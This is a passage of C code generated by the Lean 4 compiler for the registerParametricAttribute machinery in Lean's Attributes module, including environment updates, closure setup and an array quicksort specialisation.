lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; uint8_t x_9;
x_5 = l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___closed__1;
lean_inc(x_2);
x_6 = l_Array_qpartition___rarg(x_1, x_5, x_2, x_3);
x_7 = lean_ctor_get(x_6, 0);
lean_inc(x_7);
x_8 = lean_ctor_get(x_6, 1);
lean_inc(x_8);
lean_dec(x_6);
x_9 = lean_nat_dec_le(x_3, x_7);
if (x_9 == 0)
{
lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_10 = l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg(x_8, x_2, x_7);
x_11 = lean_unsigned_to_nat(1u);
x_12 = lean_nat_add(x_7, x_11);
lean_dec(x_7);
x_1 = x_10;
x_2 = x_12;
goto _start;
}
else
{
lean_dec(x_7);
lean_dec(x_2);
return x_8;
}
}
}
}
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = lean_alloc_closure((void*)(l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___boxed), 3, 0);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_setEnv___at_Lean_registerParametricAttribute___spec__3(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; lean_object* x_7; uint8_t x_8;
x_5 = lean_st_ref_take(x_3, x_4);
x_6 = lean_ctor_get(x_5, 0);
lean_inc(x_6);
x_7 = lean_ctor_get(x_5, 1);
lean_inc(x_7);
lean_dec(x_5);
x_8 = !lean_is_exclusive(x_6);
if (x_8 == 0)
{
lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; uint8_t x_13;
x_9 = lean_ctor_get(x_6, 4);
lean_dec(x_9);
x_10 = lean_ctor_get(x_6, 0);
lean_dec(x_10);
x_11 = l_Lean_registerTagAttribute___lambda__5___closed__1;
lean_ctor_set(x_6, 4, x_11);
lean_ctor_set(x_6, 0, x_1);
x_12 = lean_st_ref_set(x_3, x_6, x_7);
x_13 = !lean_is_exclusive(x_12);
if (x_13 == 0)
{
lean_object* x_14; lean_object* x_15;
x_14 = lean_ctor_get(x_12, 0);
lean_dec(x_14);
x_15 = lean_box(0);
lean_ctor_set(x_12, 0, x_15);
return x_12;
}
else
{
lean_object* x_16; lean_object* x_17; lean_object* x_18;
x_16 = lean_ctor_get(x_12, 1);
lean_inc(x_16);
lean_dec(x_12);
x_17 = lean_box(0);
x_18 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_18, 0, x_17);
lean_ctor_set(x_18, 1, x_16);
return x_18;
}
}
else
{
lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22; lean_object* x_23; lean_object* x_24; lean_object* x_25; lean_object* x_26; lean_object* x_27; lean_object* x_28; lean_object* x_29; lean_object* x_30;
x_19 = lean_ctor_get(x_6, 1);
x_20 = lean_ctor_get(x_6, 2);
x_21 = lean_ctor_get(x_6, 3);
x_22 = lean_ctor_get(x_6, 5);
x_23 = lean_ctor_get(x_6, 6);
lean_inc(x_23);
lean_inc(x_22);
lean_inc(x_21);
lean_inc(x_20);
lean_inc(x_19);
lean_dec(x_6);
x_24 = l_Lean_registerTagAttribute___lambda__5___closed__1;
x_25 = lean_alloc_ctor(0, 7, 0);
lean_ctor_set(x_25, 0, x_1);
lean_ctor_set(x_25, 1, x_19);
lean_ctor_set(x_25, 2, x_20);
lean_ctor_set(x_25, 3, x_21);
lean_ctor_set(x_25, 4, x_24);
lean_ctor_set(x_25, 5, x_22);
lean_ctor_set(x_25, 6, x_23);
x_26 = lean_st_ref_set(x_3, x_25, x_7);
x_27 = lean_ctor_get(x_26, 1);
lean_inc(x_27);
if (lean_is_exclusive(x_26)) {
lean_ctor_release(x_26, 0);
lean_ctor_release(x_26, 1);
x_28 = x_26;
} else {
lean_dec_ref(x_26);
x_28 = lean_box(0);
}
x_29 = lean_box(0);
if (lean_is_scalar(x_28)) {
x_30 = lean_alloc_ctor(0, 2, 0);
} else {
x_30 = x_28;
}
lean_ctor_set(x_30, 0, x_29);
lean_ctor_set(x_30, 1, x_27);
return x_30;
}
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6; lean_object* x_7;
x_6 = lean_ctor_get(x_1, 3);
lean_inc(x_6);
lean_dec(x_1);
x_7 = lean_apply_3(x_6, x_3, x_4, x_5);
if (lean_obj_tag(x_7) == 0)
{
uint8_t x_8;
x_8 = !lean_is_exclusive(x_7);
if (x_8 == 0)
{
lean_object* x_9;
x_9 = lean_ctor_get(x_7, 0);
lean_dec(x_9);
lean_ctor_set(x_7, 0, x_2);
return x_7;
}
else
{
lean_object* x_10; lean_object* x_11;
x_10 = lean_ctor_get(x_7, 1);
lean_inc(x_10);
lean_dec(x_7);
x_11 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_11, 0, x_2);
lean_ctor_set(x_11, 1, x_10);
return x_11;
}
}
else
{
uint8_t x_12;
lean_dec(x_2);
x_12 = !lean_is_exclusive(x_7);
if (x_12 == 0)
{
return x_7;
}
else
{
lean_object* x_13; lean_object* x_14; lean_object* x_15;
x_13 = lean_ctor_get(x_7, 0);
x_14 = lean_ctor_get(x_7, 1);
lean_inc(x_14);
lean_inc(x_13);
lean_dec(x_7);
x_15 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_15, 0, x_13);
lean_ctor_set(x_15, 1, x_14);
return x_15;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__2(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; lean_object* x_5;
x_3 = lean_ctor_get(x_2, 0);
lean_inc(x_3);
x_4 = lean_ctor_get(x_2, 1);
lean_inc(x_4);
lean_dec(x_2);
x_5 = l_Lean_RBNode_insert___at_Lean_NameMap_insert___spec__1___rarg(x_1, x_3, x_4);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__3(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__6;
x_3 = l_Lean_RBNode_fold___at_Lean_registerParametricAttribute___spec__1___rarg(x_2, x_1);
lean_dec(x_1);
x_4 = lean_array_get_size(x_3);
x_5 = lean_unsigned_to_nat(1u);
x_6 = lean_nat_sub(x_4, x_5);
lean_dec(x_4);
x_7 = lean_unsigned_to_nat(0u);
x_8 = l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg(x_3, x_7, x_6);
lean_dec(x_6);
return x_8;
}
}
static lean_object* _init_l_Lean_registerParametricAttribute___rarg___lambda__4___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("parametric attribute", 20);
return x_1;
}
}
static lean_object* _init_l_Lean_registerParametricAttribute___rarg___lambda__4___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_registerParametricAttribute___rarg___lambda__4___closed__1;
x_2 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_2, 0, x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_registerParametricAttribute___rarg___lambda__4___closed__3() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l_Lean_registerParametricAttribute___rarg___lambda__4___closed__2;
x_2 = lean_box(1);
x_3 = lean_alloc_ctor(5, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
static lean_object* _init_l_Lean_registerParametricAttribute___rarg___lambda__4___closed__4() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l_Lean_registerParametricAttribute___rarg___lambda__4___closed__3;
x_2 = l_Lean_registerTagAttribute___lambda__4___closed__5;
x_3 = lean_alloc_ctor(5, 2, 0);
lean_ctor_set(x_3, 0, x_1);
lean_ctor_set(x_3, 1, x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__4(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7;
x_2 = lean_unsigned_to_nat(0u);
x_3 = l_Lean_RBNode_fold___at_Lean_RBMap_size___spec__1___rarg(x_2, x_1);
x_4 = l_Nat_repr(x_3);
x_5 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_5, 0, x_4);
x_6 = l_Lean_registerParametricAttribute___rarg___lambda__4___closed__4;
x_7 = lean_alloc_ctor(5, 2, 0);
lean_ctor_set(x_7, 0, x_6);
lean_ctor_set(x_7, 1, x_5);
return x_7;
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__5(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7, lean_object* x_8, lean_object* x_9) {
_start:
{
lean_object* x_10; lean_object* x_11;
x_10 = lean_ctor_get(x_1, 1);
lean_inc(x_10);
lean_inc(x_8);
lean_inc(x_7);
lean_inc(x_2);
x_11 = lean_apply_5(x_10, x_2, x_3, x_7, x_8, x_9);
if (lean_obj_tag(x_11) == 0)
{
lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; uint8_t x_17;
x_12 = lean_ctor_get(x_11, 0);
lean_inc(x_12);
x_13 = lean_ctor_get(x_11, 1);
lean_inc(x_13);
lean_dec(x_11);
x_14 = lean_st_ref_take(x_8, x_13);
x_15 = lean_ctor_get(x_14, 0);
lean_inc(x_15);
x_16 = lean_ctor_get(x_14, 1);
lean_inc(x_16);
lean_dec(x_14);
x_17 = !lean_is_exclusive(x_15);
if (x_17 == 0)
{
lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22; lean_object* x_23; lean_object* x_24; lean_object* x_25; lean_object* x_26;
x_18 = lean_ctor_get(x_15, 0);
x_19 = lean_ctor_get(x_15, 4);
lean_dec(x_19);
lean_inc(x_12);
lean_inc(x_2);
x_20 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_20, 0, x_2);
lean_ctor_set(x_20, 1, x_12);
x_21 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_4, x_18, x_20);
x_22 = l_Lean_registerTagAttribute___lambda__5___closed__1;
lean_ctor_set(x_15, 4, x_22);
lean_ctor_set(x_15, 0, x_21);
x_23 = lean_st_ref_set(x_8, x_15, x_16);
x_24 = lean_ctor_get(x_23, 1);
lean_inc(x_24);
lean_dec(x_23);
x_25 = lean_ctor_get(x_1, 2);
lean_inc(x_25);
lean_dec(x_1);
lean_inc(x_8);
lean_inc(x_7);
x_26 = lean_apply_5(x_25, x_2, x_12, x_7, x_8, x_24);
if (lean_obj_tag(x_26) == 0)
{
lean_dec(x_8);
lean_dec(x_7);
lean_dec(x_5);
return x_26;
}
else
{
lean_object* x_27; lean_object* x_28;
x_27 = lean_ctor_get(x_26, 1);
lean_inc(x_27);
lean_dec(x_26);
x_28 = l_Lean_setEnv___at_Lean_registerParametricAttribute___spec__3(x_5, x_7, x_8, x_27);
lean_dec(x_8);
lean_dec(x_7);
return x_28;
}
}
else
{
lean_object* x_29; lean_object* x_30; lean_object* x_31; lean_object* x_32; lean_object* x_33; lean_object* x_34; lean_object* x_35; lean_object* x_36; lean_object* x_37; lean_object* x_38; lean_object* x_39; lean_object* x_40; lean_object* x_41; lean_object* x_42;
x_29 = lean_ctor_get(x_15, 0);
x_30 = lean_ctor_get(x_15, 1);
x_31 = lean_ctor_get(x_15, 2);
x_32 = lean_ctor_get(x_15, 3);
x_33 = lean_ctor_get(x_15, 5);
x_34 = lean_ctor_get(x_15, 6);
lean_inc(x_34);
lean_inc(x_33);
lean_inc(x_32);
lean_inc(x_31);
lean_inc(x_30);
lean_inc(x_29);
lean_dec(x_15);
lean_inc(x_12);
lean_inc(x_2);
x_35 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_35, 0, x_2);
lean_ctor_set(x_35, 1, x_12);
x_36 = l_Lean_PersistentEnvExtension_addEntry___rarg(x_4, x_29, x_35);
x_37 = l_Lean_registerTagAttribute___lambda__5___closed__1;
x_38 = lean_alloc_ctor(0, 7, 0);
lean_ctor_set(x_38, 0, x_36);
lean_ctor_set(x_38, 1, x_30);
lean_ctor_set(x_38, 2, x_31);
lean_ctor_set(x_38, 3, x_32);
lean_ctor_set(x_38, 4, x_37);
lean_ctor_set(x_38, 5, x_33);
lean_ctor_set(x_38, 6, x_34);
x_39 = lean_st_ref_set(x_8, x_38, x_16);
x_40 = lean_ctor_get(x_39, 1);
lean_inc(x_40);
lean_dec(x_39);
x_41 = lean_ctor_get(x_1, 2);
lean_inc(x_41);
lean_dec(x_1);
lean_inc(x_8);
lean_inc(x_7);
x_42 = lean_apply_5(x_41, x_2, x_12, x_7, x_8, x_40);
if (lean_obj_tag(x_42) == 0)
{
lean_dec(x_8);
lean_dec(x_7);
lean_dec(x_5);
return x_42;
}
else
{
lean_object* x_43; lean_object* x_44;
x_43 = lean_ctor_get(x_42, 1);
lean_inc(x_43);
lean_dec(x_42);
x_44 = l_Lean_setEnv___at_Lean_registerParametricAttribute___spec__3(x_5, x_7, x_8, x_43);
lean_dec(x_8);
lean_dec(x_7);
return x_44;
}
}
}
else
{
uint8_t x_45;
lean_dec(x_8);
lean_dec(x_7);
lean_dec(x_5);
lean_dec(x_4);
lean_dec(x_2);
lean_dec(x_1);
x_45 = !lean_is_exclusive(x_11);
if (x_45 == 0)
{
return x_11;
}
else
{
lean_object* x_46; lean_object* x_47; lean_object* x_48;
x_46 = lean_ctor_get(x_11, 0);
x_47 = lean_ctor_get(x_11, 1);
lean_inc(x_47);
lean_inc(x_46);
lean_dec(x_11);
x_48 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_48, 0, x_46);
lean_ctor_set(x_48, 1, x_47);
return x_48;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__6(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7, lean_object* x_8, lean_object* x_9) {
_start:
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14;
lean_dec(x_6);
x_10 = lean_st_ref_get(x_8, x_9);
x_11 = lean_ctor_get(x_10, 0);
lean_inc(x_11);
x_12 = lean_ctor_get(x_10, 1);
lean_inc(x_12);
lean_dec(x_10);
x_13 = lean_ctor_get(x_11, 0);
lean_inc(x_13);
lean_dec(x_11);
lean_inc(x_2);
lean_inc(x_13);
x_14 = l_Lean_Environment_getModuleIdxFor_x3f(x_13, x_2);
if (lean_obj_tag(x_14) == 0)
{
lean_object* x_15; lean_object* x_16;
lean_dec(x_5);
x_15 = lean_box(0);
x_16 = l_Lean_registerParametricAttribute___rarg___lambda__5(x_1, x_2, x_3, x_4, x_13, x_15, x_7, x_8, x_12);
return x_16;
}
else
{
lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22; uint8_t x_23;
lean_dec(x_14);
lean_dec(x_13);
lean_dec(x_4);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_17 = l_Lean_MessageData_ofName(x_5);
x_18 = l_Lean_registerTagAttribute___lambda__6___closed__2;
x_19 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_19, 0, x_18);
lean_ctor_set(x_19, 1, x_17);
x_20 = l_Lean_registerTagAttribute___lambda__6___closed__4;
x_21 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_21, 0, x_19);
lean_ctor_set(x_21, 1, x_20);
x_22 = l_Lean_throwError___at_Lean_registerTagAttribute___spec__1(x_21, x_7, x_8, x_12);
lean_dec(x_8);
lean_dec(x_7);
x_23 = !lean_is_exclusive(x_22);
if (x_23 == 0)
{
return x_22;
}
else
{
lean_object* x_24; lean_object* x_25; lean_object* x_26;
x_24 = lean_ctor_get(x_22, 0);
x_25 = lean_ctor_get(x_22, 1);
lean_inc(x_25);
lean_inc(x_24);
lean_dec(x_22);
x_26 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_26, 0, x_24);
lean_ctor_set(x_26, 1, x_25);
return x_26;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__7(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, uint8_t x_6, lean_object* x_7, lean_object* x_8, lean_object* x_9) {
_start:
{
uint8_t x_10; uint8_t x_11;
x_10 = 0;
x_11 = l___private_Lean_Attributes_0__Lean_beqAttributeKind____x40_Lean_Attributes___hyg_367_(x_6, x_10);
if (x_11 == 0)
{
lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; uint8_t x_18;
lean_dec(x_5);
lean_dec(x_4);
lean_dec(x_2);
lean_dec(x_1);
x_12 = l_Lean_MessageData_ofName(x_3);
x_13 = l_Lean_registerTagAttribute___lambda__6___closed__2;
x_14 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_14, 0, x_13);
lean_ctor_set(x_14, 1, x_12);
x_15 = l_Lean_registerTagAttribute___lambda__7___closed__2;
x_16 = lean_alloc_ctor(7, 2, 0);
lean_ctor_set(x_16, 0, x_14);
lean_ctor_set(x_16, 1, x_15);
x_17 = l_Lean_throwError___at_Lean_registerTagAttribute___spec__1(x_16, x_7, x_8, x_9);
lean_dec(x_8);
lean_dec(x_7);
x_18 = !lean_is_exclusive(x_17);
if (x_18 == 0)
{
return x_17;
}
else
{
lean_object* x_19; lean_object* x_20; lean_object* x_21;
x_19 = lean_ctor_get(x_17, 0);
x_20 = lean_ctor_get(x_17, 1);
lean_inc(x_20);
lean_inc(x_19);
lean_dec(x_17);
x_21 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_21, 0, x_19);
lean_ctor_set(x_21, 1, x_20);
return x_21;
}
}
else
{
lean_object* x_22; lean_object* x_23;
x_22 = lean_box(0);
x_23 = l_Lean_registerParametricAttribute___rarg___lambda__6(x_1, x_4, x_5, x_2, x_3, x_22, x_7, x_8, x_9);
return x_23;
}
}
}
static lean_object* _init_l_Lean_registerParametricAttribute___rarg___closed__1() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = lean_box(0);
x_2 = lean_alloc_closure((void*)(l_EStateM_pure___rarg), 2, 1);
lean_closure_set(x_2, 0, x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_registerParametricAttribute___rarg___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_registerParametricAttribute___rarg___lambda__2), 2, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_registerParametricAttribute___rarg___closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_registerParametricAttribute___rarg___lambda__3), 1, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_registerParametricAttribute___rarg___closed__4() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_registerParametricAttribute___rarg___lambda__4___boxed), 1, 0);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; uint8_t x_4;
x_3 = lean_ctor_get(x_1, 0);
lean_inc(x_3);
x_4 = !lean_is_exclusive(x_3);
if (x_4 == 0)
{
lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15;
x_5 = lean_ctor_get(x_3, 0);
x_6 = lean_ctor_get(x_3, 1);
x_7 = lean_ctor_get(x_3, 2);
x_8 = lean_box(0);
lean_inc(x_1);
x_9 = lean_alloc_closure((void*)(l_Lean_registerParametricAttribute___rarg___lambda__1), 5, 2);
lean_closure_set(x_9, 0, x_1);
lean_closure_set(x_9, 1, x_8);
x_10 = l_Lean_registerParametricAttribute___rarg___closed__1;
x_11 = l_Lean_registerParametricAttribute___rarg___closed__2;
x_12 = l_Lean_registerParametricAttribute___rarg___closed__3;
x_13 = l_Lean_registerParametricAttribute___rarg___closed__4;
lean_inc(x_5);
x_14 = lean_alloc_ctor(0, 6, 0);
lean_ctor_set(x_14, 0, x_5);
lean_ctor_set(x_14, 1, x_10);
lean_ctor_set(x_14, 2, x_9);
lean_ctor_set(x_14, 3, x_11);
lean_ctor_set(x_14, 4, x_12);
lean_ctor_set(x_14, 5, x_13);
x_15 = l_Lean_registerPersistentEnvExtensionUnsafe___rarg(x_14, x_2);
if (lean_obj_tag(x_15) == 0)
{
lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21;
x_16 = lean_ctor_get(x_15, 0);
lean_inc(x_16);
x_17 = lean_ctor_get(x_15, 1);
lean_inc(x_17);
lean_dec(x_15);
lean_inc(x_6);
lean_inc(x_16);
x_18 = lean_alloc_closure((void*)(l_Lean_registerParametricAttribute___rarg___lambda__7___boxed), 9, 3);
lean_closure_set(x_18, 0, x_1);
lean_closure_set(x_18, 1, x_16);
lean_closure_set(x_18, 2, x_6);
x_19 = l_Lean_registerTagAttribute___closed__6;
x_20 = lean_alloc_ctor(0, 3, 0);
lean_ctor_set(x_20, 0, x_3);
lean_ctor_set(x_20, 1, x_18);
lean_ctor_set(x_20, 2, x_19);
lean_inc(x_20);
x_21 = l_Lean_registerBuiltinAttribute(x_20, x_17);
if (lean_obj_tag(x_21) == 0)
{
uint8_t x_22;
x_22 = !lean_is_exclusive(x_21);
if (x_22 == 0)
{
lean_object* x_23; lean_object* x_24;
x_23 = lean_ctor_get(x_21, 0);
lean_dec(x_23);
x_24 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_24, 0, x_20);
lean_ctor_set(x_24, 1, x_16);
lean_ctor_set(x_21, 0, x_24);
return x_21;
}
else
{
lean_object* x_25; lean_object* x_26; lean_object* x_27;
x_25 = lean_ctor_get(x_21, 1);
lean_inc(x_25);
lean_dec(x_21);
x_26 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_26, 0, x_20);
lean_ctor_set(x_26, 1, x_16);
x_27 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_27, 0, x_26);
lean_ctor_set(x_27, 1, x_25);
return x_27;
}
}
else
{
uint8_t x_28;
lean_dec(x_20);
lean_dec(x_16);
x_28 = !lean_is_exclusive(x_21);
if (x_28 == 0)
{
return x_21;
}
else
{
lean_object* x_29; lean_object* x_30; lean_object* x_31;
x_29 = lean_ctor_get(x_21, 0);
x_30 = lean_ctor_get(x_21, 1);
lean_inc(x_30);
lean_inc(x_29);
lean_dec(x_21);
x_31 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_31, 0, x_29);
lean_ctor_set(x_31, 1, x_30);
return x_31;
}
}
}
else
{
uint8_t x_32;
lean_free_object(x_3);
lean_dec(x_7);
lean_dec(x_6);
lean_dec(x_5);
lean_dec(x_1);
x_32 = !lean_is_exclusive(x_15);
if (x_32 == 0)
{
return x_15;
}
else
{
lean_object* x_33; lean_object* x_34; lean_object* x_35;
x_33 = lean_ctor_get(x_15, 0);
x_34 = lean_ctor_get(x_15, 1);
lean_inc(x_34);
lean_inc(x_33);
lean_dec(x_15);
x_35 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_35, 0, x_33);
lean_ctor_set(x_35, 1, x_34);
return x_35;
}
}
}
else
{
lean_object* x_36; lean_object* x_37; lean_object* x_38; uint8_t x_39; lean_object* x_40; lean_object* x_41; lean_object* x_42; lean_object* x_43; lean_object* x_44; lean_object* x_45; lean_object* x_46; lean_object* x_47;
x_36 = lean_ctor_get(x_3, 0);
x_37 = lean_ctor_get(x_3, 1);
x_38 = lean_ctor_get(x_3, 2);
x_39 = lean_ctor_get_uint8(x_3, sizeof(void*)*3);
lean_inc(x_38);
lean_inc(x_37);
lean_inc(x_36);
lean_dec(x_3);
x_40 = lean_box(0);
lean_inc(x_1);
x_41 = lean_alloc_closure((void*)(l_Lean_registerParametricAttribute___rarg___lambda__1), 5, 2);
lean_closure_set(x_41, 0, x_1);
lean_closure_set(x_41, 1, x_40);
x_42 = l_Lean_registerParametricAttribute___rarg___closed__1;
x_43 = l_Lean_registerParametricAttribute___rarg___closed__2;
x_44 = l_Lean_registerParametricAttribute___rarg___closed__3;
x_45 = l_Lean_registerParametricAttribute___rarg___closed__4;
lean_inc(x_36);
x_46 = lean_alloc_ctor(0, 6, 0);
lean_ctor_set(x_46, 0, x_36);
lean_ctor_set(x_46, 1, x_42);
lean_ctor_set(x_46, 2, x_41);
lean_ctor_set(x_46, 3, x_43);
lean_ctor_set(x_46, 4, x_44);
lean_ctor_set(x_46, 5, x_45);
x_47 = l_Lean_registerPersistentEnvExtensionUnsafe___rarg(x_46, x_2);
if (lean_obj_tag(x_47) == 0)
{
lean_object* x_48; lean_object* x_49; lean_object* x_50; lean_object* x_51; lean_object* x_52; lean_object* x_53; lean_object* x_54;
x_48 = lean_ctor_get(x_47, 0);
lean_inc(x_48);
x_49 = lean_ctor_get(x_47, 1);
lean_inc(x_49);
lean_dec(x_47);
lean_inc(x_37);
x_50 = lean_alloc_ctor(0, 3, 1);
lean_ctor_set(x_50, 0, x_36);
lean_ctor_set(x_50, 1, x_37);
lean_ctor_set(x_50, 2, x_38);
lean_ctor_set_uint8(x_50, sizeof(void*)*3, x_39);
lean_inc(x_48);
x_51 = lean_alloc_closure((void*)(l_Lean_registerParametricAttribute___rarg___lambda__7___boxed), 9, 3);
lean_closure_set(x_51, 0, x_1);
lean_closure_set(x_51, 1, x_48);
lean_closure_set(x_51, 2, x_37);
x_52 = l_Lean_registerTagAttribute___closed__6;
x_53 = lean_alloc_ctor(0, 3, 0);
lean_ctor_set(x_53, 0, x_50);
lean_ctor_set(x_53, 1, x_51);
lean_ctor_set(x_53, 2, x_52);
lean_inc(x_53);
x_54 = l_Lean_registerBuiltinAttribute(x_53, x_49);
if (lean_obj_tag(x_54) == 0)
{
lean_object* x_55; lean_object* x_56; lean_object* x_57; lean_object* x_58;
x_55 = lean_ctor_get(x_54, 1);
lean_inc(x_55);
if (lean_is_exclusive(x_54)) {
lean_ctor_release(x_54, 0);
lean_ctor_release(x_54, 1);
x_56 = x_54;
} else {
lean_dec_ref(x_54);
x_56 = lean_box(0);
}
x_57 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_57, 0, x_53);
lean_ctor_set(x_57, 1, x_48);
if (lean_is_scalar(x_56)) {
x_58 = lean_alloc_ctor(0, 2, 0);
} else {
x_58 = x_56;
}
lean_ctor_set(x_58, 0, x_57);
lean_ctor_set(x_58, 1, x_55);
return x_58;
}
else
{
lean_object* x_59; lean_object* x_60; lean_object* x_61; lean_object* x_62;
lean_dec(x_53);
lean_dec(x_48);
x_59 = lean_ctor_get(x_54, 0);
lean_inc(x_59);
x_60 = lean_ctor_get(x_54, 1);
lean_inc(x_60);
if (lean_is_exclusive(x_54)) {
lean_ctor_release(x_54, 0);
lean_ctor_release(x_54, 1);
x_61 = x_54;
} else {
lean_dec_ref(x_54);
x_61 = lean_box(0);
}
if (lean_is_scalar(x_61)) {
x_62 = lean_alloc_ctor(1, 2, 0);
} else {
x_62 = x_61;
}
lean_ctor_set(x_62, 0, x_59);
lean_ctor_set(x_62, 1, x_60);
return x_62;
}
}
else
{
lean_object* x_63; lean_object* x_64; lean_object* x_65; lean_object* x_66;
lean_dec(x_38);
lean_dec(x_37);
lean_dec(x_36);
lean_dec(x_1);
x_63 = lean_ctor_get(x_47, 0);
lean_inc(x_63);
x_64 = lean_ctor_get(x_47, 1);
lean_inc(x_64);
if (lean_is_exclusive(x_47)) {
lean_ctor_release(x_47, 0);
lean_ctor_release(x_47, 1);
x_65 = x_47;
} else {
lean_dec_ref(x_47);
x_65 = lean_box(0);
}
if (lean_is_scalar(x_65)) {
x_66 = lean_alloc_ctor(1, 2, 0);
} else {
x_66 = x_65;
}
lean_ctor_set(x_66, 0, x_63);
lean_ctor_set(x_66, 1, x_64);
return x_66;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = lean_alloc_closure((void*)(l_Lean_registerParametricAttribute___rarg), 2, 0);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerParametricAttribute___spec__1___rarg___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3;
x_3 = l_Lean_RBNode_fold___at_Lean_registerParametricAttribute___spec__1___rarg(x_1, x_2);
lean_dec(x_2);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___lambda__1___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
uint8_t x_3; lean_object* x_4;
x_3 = l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___lambda__1(x_1, x_2);
lean_dec(x_2);
lean_dec(x_1);
x_4 = lean_box(x_3);
return x_4;
}
}
